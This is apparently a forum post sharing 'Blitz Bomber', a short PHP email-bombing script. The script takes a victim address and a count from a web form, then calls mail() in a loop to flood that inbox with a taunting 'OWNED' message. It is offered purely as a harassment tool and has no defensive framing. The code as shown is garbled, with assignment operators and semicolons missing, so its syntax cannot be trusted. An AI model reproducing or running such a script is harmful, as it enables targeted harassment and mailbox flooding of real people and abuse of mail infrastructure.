This is surprisingly my first e-mail bomber. It's called... *drum roll* Blitz Bomber.

You need an index.html that has two input forms. 'Email' and 'number'

PHP Code:
<?php
/*::Blitz Bomber::
    ::By Saibal::
Email bombs a $victim for $emails amount of time. 
Set them accordingly. */
session_start();
$_SESSION['use']=1;

$victim $_POST["Email"];    
$sub "Owned By Saibal";                           
$msg "OWNED!!11";
$emails $_POST["number"];                

echo 
"Blitz Bomber commencing email bomb on $victim ...<br />";    

//Starting the Blitz...

for ($i=1$i<=$emails$i++)
{
$to "$victim";
$subject "$sub";
$message "$msg";
$from "[email protected]";
$headers "From: $from";
mail($to,$subject,$message,$headers);
}
echo 
"Blitz Bombing complete";
?>